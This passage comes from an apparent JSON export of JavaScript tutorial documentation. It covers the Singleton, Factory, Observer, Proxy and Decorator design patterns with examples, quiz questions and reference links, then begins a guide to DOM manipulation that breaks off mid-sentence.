mongodb://localhost\"\ndb2.connect('mongodb://other')      // Returns same connection, doesn't reconnect\n```\n\n### Why Singleton Is Often an Anti-Pattern in JavaScript\n\nHere's the thing: **Singletons are often unnecessary in JavaScript**. Here's why:\n\n```javascript\n// ES Modules are already singletons!\n// config.js\nexport const config = {\n  apiUrl: 'https://api.example.com',\n  timeout: 5000\n}\n\n// main.js\nimport { config } from './config.js'\n\n// other.js\nimport { config } from './config.js'\n\n// Both files get the SAME object — modules are cached!\n```\n\n<Warning>\n**Problems with Singletons:**\n\n1. **Testing difficulties** — Tests share the same instance, making isolation hard\n2. **Hidden dependencies** — Code that uses a Singleton has an implicit dependency\n3. **Tight coupling** — Components become coupled to a specific implementation\n4. **ES Modules already do this** — Module exports are cached; you get the same object every time\n\n**Better alternatives:** Dependency injection, React Context, or simply exporting an object from a module.\n</Warning>\n\n### When Singletons Make Sense\n\nDespite the caveats, Singletons can be appropriate for:\n- **Logging services** — One logger instance for the entire app\n- **Configuration objects** — App-wide settings that shouldn't change\n- **Connection pools** — Managing a single pool of database connections\n\n<CardGroup cols={2}>\n  <Card title=\"Singleton Pattern — Refactoring Guru\" icon=\"book\" href=\"https://refactoring.guru/design-patterns/singleton\">\n    Detailed explanation with pros, cons, and implementation in multiple languages\n  </Card>\n</CardGroup>\n\n---\n\n## The Factory Pattern\n\nThe **Factory pattern** creates objects without exposing the creation logic. Instead of using `new` directly, you call a factory function that returns the appropriate object. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), factory functions are among the most commonly used patterns in modern JavaScript codebases. This centralizes object creation and makes it easy to change how objects are created without updating every call site.\n\n```javascript\n// Factory function — creates different user types\nfunction createUser(type, name) {\n  const baseUser = {\n    name,\n    createdAt: new Date(),\n    greet() {\n      return `Hi, I'm ${this.name}`\n    }\n  }\n  \n  switch (type) {\n    case 'admin':\n      return {\n        ...baseUser,\n        role: 'admin',\n        permissions: ['read', 'write', 'delete', 'manage-users'],\n        promote(user) {\n          console.log(`${this.name} promoted ${user.name}`)\n        }\n      }\n    \n    case 'editor':\n      return {\n        ...baseUser,\n        role: 'editor',\n        permissions: ['read', 'write']\n      }\n    \n    case 'viewer':\n    default:\n      return {\n        ...baseUser,\n        role: 'viewer',\n        permissions: ['read']\n      }\n  }\n}\n\n// Usage — no need to know the internal structure\nconst admin = createUser('admin', 'Alice')\nconst editor = createUser('editor', 'Bob')\nconst viewer = createUser('viewer', 'Charlie')\n\nconsole.log(admin.permissions)   // ['read', 'write', 'delete', 'manage-users']\nconsole.log(editor.permissions)  // ['read', 'write']\nconsole.log(viewer.greet())      // \"Hi, I'm Charlie\"\n```\n\n### When to Use the Factory Pattern\n\n- **Creating objects with complex setup** — Encapsulate the complexity\n- **Creating different types based on input** — Switch logic in one place\n- **Decoupling creation from usage** — Callers don't need to know implementation details\n\n<Info>\n**Want to go deeper?** The Factory pattern is covered extensively in [Factories and Classes](/concepts/factories-classes), including factory functions vs classes, the `new` keyword, and when to use each approach.\n</Info>\n\n<CardGroup cols={2}>\n  <Card title=\"Factory Method — Refactoring Guru\" icon=\"book\" href=\"https://refactoring.guru/design-patterns/factory-method\">\n    Complete guide to the Factory Method pattern with diagrams and examples\n  </Card>\n</CardGroup>\n\n---\n\n## The Observer Pattern\n\nThe **Observer pattern** defines a subscription mechanism that notifies multiple objects about events. According to [Refactoring Guru](https://refactoring.guru/design-patterns/observer), it lets you \"define a subscription mechanism to notify multiple objects about any events that happen to the object they're observing.\"\n\nThis pattern is everywhere: DOM events, React state updates, Redux subscriptions, Node.js EventEmitter, and RxJS observables all use variations of Observer.\n\n### Building an Observable\n\n```javascript\nclass Observable {\n  constructor() {\n    this.observers = []\n  }\n  \n  subscribe(fn) {\n    this.observers.push(fn)\n    // Return an unsubscribe function\n    return () => {\n      this.observers = this.observers.filter(observer => observer !== fn)\n    }\n  }\n  \n  notify(data) {\n    this.observers.forEach(observer => observer(data))\n  }\n}\n\n// Usage: A stock price tracker\nconst stockPrice = new Observable()\n\n// Subscriber 1: Log to console\nconst unsubscribeLogger = stockPrice.subscribe(price => {\n  console.log(`Stock price updated: $${price}`)\n})\n\n// Subscriber 2: Check for alerts\nstockPrice.subscribe(price => {\n  if (price > 150) {\n    console.log('ALERT: Price above $150!')\n  }\n})\n\n// Subscriber 3: Update UI (simulated)\nstockPrice.subscribe(price => {\n  console.log(`Updating chart with price: $${price}`)\n})\n\n// When price changes, all subscribers are notified\nstockPrice.notify(145)\n// \"Stock price updated: $145\"\n// \"Updating chart with price: $145\"\n\nstockPrice.notify(155)\n// \"Stock price updated: $155\"\n// \"ALERT: Price above $150!\"\n// \"Updating chart with price: $155\"\n\n// Unsubscribe the logger\nunsubscribeLogger()\n\nstockPrice.notify(160)\n// No log message, but alert and chart still update\n```\n\n### The Magazine Subscription Analogy\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE OBSERVER PATTERN                                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   PUBLISHER (Observable)              SUBSCRIBERS (Observers)            │\n│   ──────────────────────              ───────────────────────            │\n│                                                                          │\n│   ┌─────────────────────┐             ┌─────────────┐                   │\n│   │                     │ ──────────► │ Reader #1   │                   │\n│   │   Magazine          │             └─────────────┘                   │\n│   │   Publisher         │             ┌─────────────┐                   │\n│   │                     │ ──────────► │ Reader #2   │                   │\n│   │   • subscribers[]   │             └─────────────┘                   │\n│   │   • subscribe()     │             ┌─────────────┐                   │\n│   │   • unsubscribe()   │ ──────────► │ Reader #3   │                   │\n│   │   • notify()        │             └─────────────┘                   │\n│   │                     │                                               │\n│   └─────────────────────┘                                               │\n│                                                                          │\n│   When a new issue publishes, all subscribers receive it automatically.  │\n│   Readers can subscribe or unsubscribe at any time.                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Real-World Example: Form Validation\n\n```javascript\n// Observable form field\nclass FormField {\n  constructor(initialValue = '') {\n    this.value = initialValue\n    this.observers = []\n  }\n  \n  subscribe(fn) {\n    this.observers.push(fn)\n    return () => {\n      this.observers = this.observers.filter(o => o !== fn)\n    }\n  }\n  \n  setValue(newValue) {\n    this.value = newValue\n    this.observers.forEach(fn => fn(newValue))\n  }\n}\n\n// Usage\nconst emailField = new FormField('')\n\n// Validator subscriber\nemailField.subscribe(value => {\n  const isValid = value.includes('@')\n  console.log(isValid ? 'Valid email' : 'Invalid email')\n})\n\n// Character counter subscriber\nemailField.subscribe(value => {\n  console.log(`Characters: ${value.length}`)\n})\n\nemailField.setValue('test')\n// \"Invalid email\"\n// \"Characters: 4\"\n\nemailField.setValue('test@example.com')\n// \"Valid email\"\n// \"Characters: 16\"\n```\n\n<CardGroup cols={2}>\n  <Card title=\"Observer Pattern — Refactoring Guru\" icon=\"book\" href=\"https://refactoring.guru/design-patterns/observer\">\n    Complete explanation with UML diagrams and pseudocode\n  </Card>\n</CardGroup>\n\n---\n\n## The Proxy Pattern\n\nThe **[Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy) pattern** provides a surrogate or placeholder for another object to control access to it. In JavaScript, the ES6 `Proxy` object lets you intercept and redefine fundamental operations like property access, assignment, and function calls.\n\n### Basic Proxy Example\n\n```javascript\nconst user = {\n  name: 'Alice',\n  age: 25,\n  email: 'alice@example.com'\n}\n\nconst userProxy = new Proxy(user, {\n  // Intercept property reads\n  get(target, property) {\n    console.log(`Accessing property: ${property}`)\n    return target[property]\n  },\n  \n  // Intercept property writes\n  set(target, property, value) {\n    console.log(`Setting ${property} to ${value}`)\n    \n    // Validation: age must be a non-negative number\n    if (property === 'age') {\n      if (typeof value !== 'number' || value < 0) {\n        throw new Error('Age must be a non-negative number')\n      }\n    }\n    \n    // Validation: email must contain @\n    if (property === 'email') {\n      if (!value.includes('@')) {\n        throw new Error('Invalid email format')\n      }\n    }\n    \n    target[property] = value\n    return true\n  }\n})\n\n// All access goes through the proxy\nconsole.log(userProxy.name)\n// \"Accessing property: name\"\n// \"Alice\"\n\nuserProxy.age = 26\n// \"Setting age to 26\"\n\nuserProxy.age = -5\n// Error: Age must be a non-negative number\n\nuserProxy.email = 'invalid'\n// Error: Invalid email format\n```\n\n### Practical Use Case: Lazy Loading\n\n```javascript\n// Expensive object that we don't want to create until needed\nfunction createExpensiveResource() {\n  console.log('Creating expensive resource...')\n  return {\n    data: 'Loaded data from database',\n    process() {\n      return `Processing: ${this.data}`\n    }\n  }\n}\n\n// Proxy that delays creation until first use\nfunction createLazyResource() {\n  let resource = null\n  \n  return new Proxy({}, {\n    get(target, property) {\n      // Create resource on first access\n      if (!resource) {\n        resource = createExpensiveResource()\n      }\n      \n      const value = resource[property]\n      // If it's a method, bind it to the resource\n      return typeof value === 'function' ? value.bind(resource) : value\n    }\n  })\n}\n\nconst lazyResource = createLazyResource()\nconsole.log('Proxy created, resource not loaded yet')\n\n// Resource is only created when we actually use it\nconsole.log(lazyResource.data)\n// \"Creating expensive resource...\"\n// \"Loaded data from database\"\n\nconsole.log(lazyResource.process())\n// \"Processing: Loaded data from database\"\n```\n\n### When to Use the Proxy Pattern\n\n| Use Case | Example |\n|----------|---------|\n| **Validation** | Validate data before setting properties |\n| **Logging/Debugging** | Log all property accesses for debugging |\n| **Lazy initialization** | Delay expensive object creation |\n| **Access control** | Restrict access to certain properties |\n| **Caching** | Cache expensive computations |\n\n<CardGroup cols={2}>\n  <Card title=\"Proxy — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy\">\n    Complete API reference for JavaScript's Proxy object\n  </Card>\n  <Card title=\"Proxy Pattern — Refactoring Guru\" icon=\"book\" href=\"https://refactoring.guru/design-patterns/proxy\">\n    Pattern explanation with diagrams and use cases\n  </Card>\n</CardGroup>\n\n---\n\n## The Decorator Pattern\n\nThe **Decorator pattern** attaches new behaviors to objects by wrapping them in objects that contain these behaviors. According to [Refactoring Guru](https://refactoring.guru/design-patterns/decorator), it lets you \"attach new behaviors to objects by placing these objects inside special wrapper objects.\"\n\nIn JavaScript, decorators are often implemented as functions that take an object and return an enhanced version.\n\n### Adding Abilities to Objects\n\n```javascript\n// Base object\nconst createCharacter = (name) => ({\n  name,\n  health: 100,\n  describe() {\n    return `${this.name} (${this.health} HP)`\n  }\n})\n\n// Decorator: Add flying ability\nconst withFlying = (character) => ({\n  ...character,\n  fly() {\n    return `${character.name} soars through the sky!`\n  },\n  describe() {\n    return `${character.describe()} [Can fly]`\n  }\n})\n\n// Decorator: Add swimming ability\nconst withSwimming = (character) => ({\n  ...character,\n  swim() {\n    return `${character.name} dives into the water!`\n  },\n  describe() {\n    return `${character.describe()} [Can swim]`\n  }\n})\n\n// Decorator: Add armor\nconst withArmor = (character, armorPoints) => ({\n  ...character,\n  armor: armorPoints,\n  takeDamage(amount) {\n    const reducedDamage = Math.max(0, amount - armorPoints)\n    character.health -= reducedDamage\n    return `${character.name} takes ${reducedDamage} damage (${armorPoints} blocked)`\n  },\n  describe() {\n    return `${character.describe()} [Armor: ${armorPoints}]`\n  }\n})\n\n// Compose decorators to build characters\nconst duck = withSwimming(withFlying(createCharacter('Duck')))\nconsole.log(duck.describe())  // \"Duck (100 HP) [Can fly] [Can swim]\"\nconsole.log(duck.fly())       // \"Duck soars through the sky!\"\nconsole.log(duck.swim())      // \"Duck dives into the water!\"\n\nconst knight = withArmor(createCharacter('Knight'), 20)\nconsole.log(knight.describe())     // \"Knight (100 HP) [Armor: 20]\"\nconsole.log(knight.takeDamage(50)) // \"Knight takes 30 damage (20 blocked)\"\n```\n\n### Function Decorators\n\nDecorators also work great with functions:\n\n```javascript\n// Decorator: Log function calls\nconst withLogging = (fn, fnName) => {\n  return function(...args) {\n    console.log(`Calling ${fnName} with:`, args)\n    const result = fn.apply(this, args)\n    console.log(`${fnName} returned:`, result)\n    return result\n  }\n}\n\n// Decorator: Memoize (cache) results\nconst withMemoization = (fn) => {\n  const cache = new Map()\n  \n  return function(...args) {\n    const key = JSON.stringify(args)\n    \n    if (cache.has(key)) {\n      console.log('Cache hit!')\n      return cache.get(key)\n    }\n    \n    const result = fn.apply(this, args)\n    cache.set(key, result)\n    return result\n  }\n}\n\n// Original function\nfunction fibonacci(n) {\n  if (n <= 1) return n\n  return fibonacci(n - 1) + fibonacci(n - 2)\n}\n\n// Decorated version with logging\nconst loggedAdd = withLogging((a, b) => a + b, 'add')\nloggedAdd(2, 3)\n// \"Calling add with: [2, 3]\"\n// \"add returned: 5\"\n\n// Decorated fibonacci with memoization\nconst memoizedFib = withMemoization(function fib(n) {\n  if (n <= 1) return n\n  return memoizedFib(n - 1) + memoizedFib(n - 2)\n})\n\nconsole.log(memoizedFib(10))  // 55\nconsole.log(memoizedFib(10))  // \"Cache hit!\" — 55\n```\n\n### When to Use the Decorator Pattern\n\n- **Adding features without modifying original code** — Open/Closed Principle\n- **Composing behaviors dynamically** — Mix and match capabilities\n- **Cross-cutting concerns** — Logging, caching, validation, timing\n\n<CardGroup cols={2}>\n  <Card title=\"Decorator Pattern — Refactoring Guru\" icon=\"book\" href=\"https://refactoring.guru/design-patterns/decorator\">\n    Full explanation with structure diagrams and applicability guidelines\n  </Card>\n</CardGroup>\n\n---\n\n## Common Mistakes with Design Patterns\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    DESIGN PATTERN MISTAKES                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   MISTAKE #1: PATTERN OVERUSE                                            │\n│   ───────────────────────────                                            │\n│   Using patterns where simple code would work better.                    │\n│   A plain function is often better than a Factory class.                 │\n│                                                                          │\n│   MISTAKE #2: WRONG PATTERN CHOICE                                       │\n│   ─────────────────────────────                                          │\n│   Using Singleton when you just need a module export.                    │\n│   Using Observer when a simple callback would suffice.                   │\n│                                                                          │\n│   MISTAKE #3: IGNORING JAVASCRIPT IDIOMS                                 │\n│   ────────────────────────────────────                                   │\n│   JavaScript has closures, first-class functions, and ES modules.        │\n│   Many classical patterns simplify dramatically in JavaScript.           │\n│                                                                          │\n│   MISTAKE #4: PREMATURE ABSTRACTION                                      │\n│   ────────────────────────────────                                       │\n│   Adding patterns before you have a real problem to solve.               │\n│   \"You Ain't Gonna Need It\" (YAGNI) applies to patterns too.            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### The \"Golden Hammer\" Anti-Pattern\n\nWhen you learn a new pattern, resist the urge to use it everywhere:\n\n```javascript\n// ❌ OVERKILL: Factory for simple objects\nclass UserFactory {\n  createUser(name) {\n    return new User(name)\n  }\n}\nconst factory = new UserFactory()\nconst user = factory.createUser('Alice')\n\n// ✓ SIMPLE: Just create the object\nconst user = { name: 'Alice' }\n// or\nconst user = new User('Alice')\n```\n\n<Warning>\n**Ask yourself these questions before using a pattern:**\n\n1. **Do I have a real problem?** Don't solve problems you don't have yet.\n2. **Is there a simpler solution?** A plain function or object might be enough.\n3. **Does JavaScript already solve this?** ES modules, Promises, and iterators are built-in patterns.\n4. **Will my team understand it?** Patterns only help if everyone knows them.\n</Warning>\n\n---\n\n## Choosing the Right Pattern\n\n| Problem | Pattern | Alternative |\n|---------|---------|-------------|\n| Need to organize code with private state | **Module** | ES6 module exports |\n| Need exactly one instance | **Singleton** | Just export an object from a module |\n| Need to create objects dynamically | **Factory** | Plain function returning objects |\n| Need to notify multiple listeners of changes | **Observer** | EventEmitter, callbacks, or a library |\n| Need to control or validate object access | **Proxy** | Getter/setter methods |\n| Need to add behavior without modification | **Decorator** | Higher-order functions, composition |\n\n<Tip>\n**Rule of Thumb:** Start with the simplest solution that works. Introduce patterns when you hit a real problem they solve, not before.\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Design patterns are templates, not code** — Adapt them to your specific problem; don't force-fit them\n\n2. **JavaScript simplifies many patterns** — First-class functions, closures, and ES modules reduce boilerplate\n\n3. **Module pattern organizes code** — Use ES modules for new projects; understand IIFE pattern for legacy code\n\n4. **Singleton is often unnecessary** — ES module exports are already cached; use sparingly if at all\n\n5. **Factory centralizes object creation** — Great for creating different types based on input\n\n6. **Observer enables event-driven code** — The foundation of DOM events, React state, and reactive programming\n\n7. **Proxy intercepts object operations** — Use for validation, logging, lazy loading, and access control\n\n8. **Decorator adds behavior through wrapping** — Compose features without modifying original code\n\n9. **Avoid pattern overuse** — Simple code beats clever patterns; apply the YAGNI principle\n\n10. **Learn to recognize patterns in the wild** — DOM events use Observer, Promises use a form of Observer, middleware uses Decorator\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the main purpose of the Module pattern?\">\n    **Answer:**\n    \n    The Module pattern encapsulates code into reusable units with **private and public parts**. It allows you to:\n    - Hide implementation details (private variables and functions)\n    - Expose only a public API\n    - Avoid polluting the global namespace\n    \n    In modern JavaScript, ES6 modules (`import`/`export`) provide this naturally. Variables in a module are private unless exported.\n    \n    ```javascript\n    // privateHelper is not exported — it's private\n    function privateHelper() { /* ... */ }\n    \n    // Only publicFunction is accessible to importers\n    export function publicFunction() {\n      privateHelper()\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is Singleton often considered an anti-pattern in JavaScript?\">\n    **Answer:**\n    \n    Singleton is often unnecessary in JavaScript because:\n    \n    1. **ES modules are already singletons** — When you export an object, all importers get the same instance\n    2. **Testing difficulties** — Tests share state, making isolation hard\n    3. **Hidden dependencies** — Code using Singletons has implicit dependencies\n    4. **JavaScript can create objects directly** — No need for the class-based workarounds other languages require\n    \n    ```javascript\n    // ES module — already a singleton!\n    export const config = { apiUrl: '...' }\n    \n    // Every import gets the same object\n    import { config } from './config.js'  // Same instance everywhere\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What are the three parts of an Observer pattern implementation?\">\n    **Answer:**\n    \n    The Observer pattern has three key parts:\n    \n    1. **Subscriber list** — An array to store observer functions\n    2. **Subscribe method** — Adds a function to the list (often returns an unsubscribe function)\n    3. **Notify method** — Calls all subscribed functions with data\n    \n    ```javascript\n    class Observable {\n      constructor() {\n        this.observers = []                    // 1. Subscriber list\n      }\n      \n      subscribe(fn) {                          // 2. Subscribe method\n        this.observers.push(fn)\n        return () => {                         // Returns unsubscribe\n          this.observers = this.observers.filter(o => o !== fn)\n        }\n      }\n      \n      notify(data) {                           // 3. Notify method\n        this.observers.forEach(fn => fn(data))\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How does the Proxy pattern differ from the Decorator pattern?\">\n    **Answer:**\n    \n    Both wrap objects, but they have different purposes:\n    \n    **Proxy Pattern:**\n    - **Controls access** to an object\n    - Intercepts operations like get, set, delete\n    - The proxy typically has the same interface as the target\n    - Use for: validation, logging, lazy loading, access control\n    \n    **Decorator Pattern:**\n    - **Adds new behavior** to an object\n    - Wraps the object and extends its capabilities\n    - May add new methods or modify existing ones\n    - Use for: composing features, cross-cutting concerns\n    \n    ```javascript\n    // Proxy — same interface, controlled access\n    const proxy = new Proxy(obj, { get(t, p) { /* intercept */ } })\n    \n    // Decorator — enhanced interface, new behavior\n    const enhanced = withLogging(withCache(obj))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: When should you use the Factory pattern?\">\n    **Answer:**\n    \n    Use the Factory pattern when:\n    \n    1. **Object creation is complex** — Encapsulate setup logic in one place\n    2. **You need different types based on input** — Switch logic centralized in the factory\n    3. **You want to decouple creation from usage** — Callers don't need to know implementation\n    4. **You might change how objects are created** — Update the factory, not every call site\n    \n    ```javascript\n    // Factory — creation logic in one place\n    function createNotification(type, message) {\n      switch (type) {\n        case 'error': return { type, message, color: 'red' }\n        case 'success': return { type, message, color: 'green' }\n        default: return { type: 'info', message, color: 'blue' }\n      }\n    }\n    \n    // Easy to use — no need to know the structure\n    const notification = createNotification('error', 'Something went wrong')\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's the 'Golden Hammer' anti-pattern?\">\n    **Answer:**\n    \n    The \"Golden Hammer\" anti-pattern is the tendency to use a familiar tool (or pattern) for every problem, even when it's not appropriate.\n    \n    **Signs you're doing this:**\n    - Using Singleton for everything that \"should be global\"\n    - Creating Factory classes for simple object literals\n    - Using Observer when a callback would suffice\n    - Adding patterns before you have a real problem\n    \n    **How to avoid it:**\n    - Start with the simplest solution\n    - Add patterns only when you hit a real problem they solve\n    - Ask: \"Would a plain function/object work here?\"\n    - Remember: Code clarity beats clever patterns\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are design patterns in JavaScript?\">\n    Design patterns are reusable solutions to common problems in software design. They are not specific code implementations but templates you adapt to your needs. In JavaScript, many classical patterns simplify because the language has first-class functions, closures, and prototypal inheritance, which reduce the need for complex class hierarchies.\n  </Accordion>\n\n  <Accordion title=\"What is the Observer pattern and when should I use it?\">\n    The Observer pattern lets an object (the subject) notify a list of dependents (observers) when its state changes. Use it when multiple parts of your application need to react to the same event. The DOM's `addEventListener` is a built-in Observer implementation, and frameworks like React and Vue use Observer-like patterns internally for reactivity.\n  </Accordion>\n\n  <Accordion title=\"Are all Gang of Four design patterns relevant in JavaScript?\">\n    No. As Addy Osmani notes in *Learning JavaScript Design Patterns*, many GoF patterns were designed for statically typed languages like C++ and Java. JavaScript's first-class functions, closures, and dynamic typing make patterns like Strategy, Command, and Iterator trivial — often just a function or callback. Focus on patterns that solve real problems in your codebase.\n  </Accordion>\n\n  <Accordion title=\"Why is the Singleton pattern considered an anti-pattern in JavaScript?\">\n    ES Modules are already singletons — a module's exports are cached after the first import, so every file gets the same object. Using a Singleton class adds complexity without benefit. Singletons also make testing harder because components share hidden global state. Prefer dependency injection or module exports instead.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between the Proxy and Decorator patterns?\">\n    The Proxy pattern controls access to an object without changing its interface — it intercepts operations like property reads or function calls. The Decorator pattern adds new behavior or capabilities to an object by wrapping it. JavaScript's built-in `Proxy` object implements the Proxy pattern natively since ES2015.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Factories and Classes\" icon=\"industry\" href=\"/concepts/factories-classes\">\n    Deep dive into object creation with factory functions and ES6 classes\n  </Card>\n  <Card title=\"IIFE, Modules & Namespaces\" icon=\"box\" href=\"/concepts/iife-modules\">\n    How JavaScript evolved from IIFEs to modern ES modules\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"function\" href=\"/concepts/higher-order-functions\">\n    Functions that work with functions — the foundation of many patterns\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    How closures enable private state in the Module pattern\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Proxy — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy\">\n    Complete API reference for JavaScript's built-in Proxy object\n  </Card>\n  <Card title=\"JavaScript Modules — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules\">\n    Official guide to ES6 modules with import and export\n  </Card>\n  <Card title=\"Design Patterns Catalog — Refactoring Guru\" icon=\"compass\" href=\"https://refactoring.guru/design-patterns/catalog\">\n    Complete catalog of classic design patterns with examples\n  </Card>\n  <Card title=\"Reflect — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect\">\n    The Reflect object used with Proxy for default behavior\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Design Patterns — patterns.dev\" icon=\"newspaper\" href=\"https://www.patterns.dev/vanilla/module-pattern\">\n    Lydia Hallie and Addy Osmani's modern guide with animated visualizations. Each pattern gets its own interactive explanation showing exactly how data flows.\n  </Card>\n  <Card title=\"JavaScript Design Patterns — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/javascript-design-patterns-explained/\">\n    Beginner-friendly walkthrough of essential patterns with practical code examples. Great starting point if you're new to design patterns.\n  </Card>\n  <Card title=\"Learning JavaScript Design Patterns\" icon=\"newspaper\" href=\"https://www.patterns.dev/book/\">\n    Addy Osmani's free online book, updated for modern JavaScript. The definitive resource covering patterns, anti-patterns, and real-world applications.\n  </Card>\n  <Card title=\"Mixins — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/mixins\">\n    Authoritative guide on adding behaviors to classes without inheritance. Shows the EventMixin pattern that's used throughout JavaScript libraries.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"10 Design Patterns Explained in 10 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=tv-_1er1mWI\">\n    Fireship's fast-paced overview covering the essential patterns every developer should know. Perfect for a quick refresher or introduction.\n  </Card>\n  <Card title=\"JavaScript Design Patterns — Udacity\" icon=\"video\" href=\"https://www.udacity.com/course/javascript-design-patterns--ud989\">\n    Free comprehensive course covering MVC, MVP, and organizing large JavaScript applications. Great for understanding patterns in context.\n  </Card>\n  <Card title=\"Factory Functions in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=ImwrezYhw4w\">\n    Fun Fun Function's engaging explanation of factories vs classes. MPJ's conversational style makes complex concepts approachable.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/dom.mdx",
    "content": "---\ntitle: \"DOM Manipulation\"\nsidebarTitle: \"DOM: How Browsers Represent Web Pages\"\ndescription: \"Learn the DOM in JavaScript. Select and manipulate elements, traverse nodes, handle events, and optimize rendering performance.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Web Platform\"\n\"article:tag\": \"javascript DOM, document object model, DOM manipulation, querySelector, event handling, DOM traversal\"\n---\n\nHow does JavaScript change what you see on a webpage? How do you click a button and see new content appear, or type in a form and watch suggestions pop up? How does a \"dark mode\" toggle instantly transform an entire page?\n\n```javascript\n// The DOM lets you do things like this:\ndocument.querySelector('h1').textContent = 'Hello, DOM!'\ndocument.body.style.backgroundColor = 'lightblue'\ndocument.getElementById('btn').addEventListener('click', handleClick)\n```\n\nThe **[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)** is the bridge between your HTML and JavaScript. It lets you read, modify, and respond to changes in web page content. With the DOM, you can use methods like **[`querySelector()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)** to find elements, **[`getElementById()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)** to grab specific nodes, and **[`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener)** to respond to user interactions.\n\n<Info>\n**What you'll learn in this guide:**\n- What the DOM is in JavaScript and how it differs from HTML\n- How to select DOM elements (getElementById vs querySelector)\n- How to traverse the DOM tree (parent, children, siblings)\n- How to manipulate DOM elements (create, modify, remove)\n- The difference between properties and attributes\n- How the browser turns DOM → pixels (the Critical Rendering Path)\n- Performance best practices (avoid layout thrashing!)\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes basic familiarity with [HTML](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML) and [CSS](https://developer.mozilla.org/en-US/docs/Learn/CSS/First_steps). If you're new to web development, start there first!\n</Warning>\n\n---\n\n## What is the DOM in JavaScript?\n\nThe **[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)** is a programming interface that represents HTML documents as a tree of objects. As specified by the WHATWG DOM Living Standard, when a browser loads a webpage, it parses the HTML and creates the DOM, a live, structured representation that JavaScript can read and modify. Every element, attribute, and piece of text becomes a node in this tree. **In short: the DOM is how JavaScript \"sees\" and changes a webpage.**\n\n---\n\n## How the DOM Tree Structure Works\n\nThink of the DOM like a family tree. At the top sits `document` (the family historian who knows everyone). Below it is `<html>` (the matriarch), which has two children: `<head>` and `<body>`. Each of these has their own children, grandchildren, and so on.\n\n```\n                           THE DOM FAMILY TREE\n\n                              ┌──────────┐\n                              │ document │  ← The family historian\n                              │ (root)   │    (knows everyone!)\n                              └────┬─────┘\n                                   │\n                              ┌────┴─────┐\n                              │  <html>  │  ← Great-grandma\n                              └────┬─────┘    (the matriarch)\n                     ┌─────────────┴─────────────┐\n                     │                           │\n                ┌────┴────┐                 ┌────┴────┐\n                │ <head>  │                 │ <body>  │  ← The two branches\n                └────┬────┘                 └────┬────┘    of the family\n                     │                           │\n              ┌──────┴──────┐         ┌──────────┼──────────┐\n              │             │         │          │          │\n         ┌────┴────┐  ┌────┴────┐ ┌───┴───┐ ┌────┴────┐ ┌───┴───┐\n         │ <title> │  │ <meta>  │ │ <nav> │ │ <main>  │ │<footer>│\n         └────┬────┘  └─────────┘ └───┬───┘ └────┬────┘ └───────┘\n              │                       │          │\n         \"My Page\"               ┌────┴────┐  ┌──┴──┐\n          (text)                 │  <ul>   │  │<div>│  ← Cousins\n                                 └────┬────┘  └──┬──┘\n                                      │          │\n                                 ┌────┼────┐    ...\n                                 │    │    │\n                               <li> <li> <li>   ← Siblings\n```\n\nJust like navigating a family reunion, the DOM lets you:\n\n| Action | Family Analogy | DOM Method |\n|--------|----------------|------------|\n| Find your parent | \"Who's your mom?\" | `element.parentNode` |\n| Find your kids | \"Where are your children?\" | `element.children` |\n| Find your sibling | \"Who's your brother?\" | `element.nextElementSibling` |\n| Search the whole family | \"Where's cousin Bob?\" | `document.querySelector('#bob')` |\n\n<Note>\n**Key insight:** Every element, text, and comment in your HTML becomes a \"node\" in this tree. JavaScript lets you navigate this tree and modify it: changing content, 